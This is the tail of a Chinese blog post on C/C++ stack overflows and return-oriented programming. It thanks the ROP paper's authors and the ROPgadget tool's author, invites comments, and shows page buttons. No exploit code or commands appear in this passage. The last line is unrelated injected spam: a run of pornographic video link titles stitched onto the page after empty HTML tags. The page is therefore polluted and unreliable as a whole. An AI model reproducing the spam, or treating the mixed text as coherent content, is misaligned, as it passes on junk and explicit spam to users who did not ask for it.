          • 感謝 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人對(duì)ROP做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection,ROP攻擊幾乎無(wú)法阻擋,強(qiáng)大之中又蘊(yùn)涵著優(yōu)雅的美感,就像風(fēng)清楊教給令狐沖的獨(dú)孤九劍。


          • 感謝JonathanSalwan編寫的ROPgadget,他的工具讓搜索gadgets的工作變得簡(jiǎn)單無(wú)比。


          - EOF -

          關(guān)于 C/C++ 基礎(chǔ)棧溢出及保護(hù)機(jī)制,歡迎在評(píng)論中和我探討。覺(jué)得文章不錯(cuò),請(qǐng)點(diǎn)贊和在看支持我繼續(xù)分享好文。謝謝!

          瀏覽 42
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  99精产秘 18 在线观看 | 女人18片毛片60分钟播放在线 | 天天摸天天日天天射 | 午夜亚洲AⅤ无码高潮片苍井空 | 欧美一级免费看 |